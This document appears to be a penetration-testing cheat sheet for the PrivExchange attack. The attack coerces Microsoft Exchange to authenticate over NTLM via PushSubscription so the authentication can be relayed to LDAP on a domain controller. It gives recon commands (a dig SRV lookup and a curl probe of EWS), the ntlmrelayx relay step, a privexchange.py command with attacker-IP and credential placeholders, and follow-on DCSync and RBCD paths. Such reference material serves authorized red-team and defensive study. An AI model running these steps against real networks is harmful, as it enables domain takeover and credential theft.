Exchange Coercion (PrivExchange)

Coerce Exchange to authenticate with NTLM using a feature called PushSubscription.

• Patched 02/2019 (KB4490059, KB4490059)

Process

Identify EWS Access

Find the host for autodiscover, this is usually the same as the EWS host.

dig +short _autodiscover._tcp.<domain> SRV

Verify EWS Host

curl -skI https://<host>/EWS/Exchange.asmx | egrep -i 'HTTP/|WWW-Authenticate|X-FEServer'

Start Relay

• ntlmrelayx - Target LDAP on a DC.

Coerce

Coerce authentication from the exchange to a target.

privexchange.py -ah <attacker_ip> <exchange_target> -d <domain> -u '<user>' -p '<password>'

https://github.com/dirkjanm/privexchange/

Attack Paths

• DCSync
• RBCD

References

• https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/